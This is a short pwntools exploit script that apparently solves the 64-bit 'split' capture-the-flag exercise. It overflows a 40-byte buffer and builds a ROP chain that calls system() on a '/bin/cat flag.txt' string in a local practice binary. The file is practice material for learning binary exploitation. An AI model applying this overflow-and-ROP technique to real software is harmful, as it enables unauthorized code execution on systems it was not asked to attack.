from pwn import *

p = process("./split")	# 64 bits
binary = ELF("./split")

offset = 40
#ROP Chain
addr = 0x0000000000400883	# pop rdi, ret
system = 0x00400810

# "/bin/cat flag.txt"
command = 0x00601060	

payload = "a"*offset
payload += p64(addr)
payload += p64(command)
payload += p64(system)

p.sendline(payload)
print p.recvall()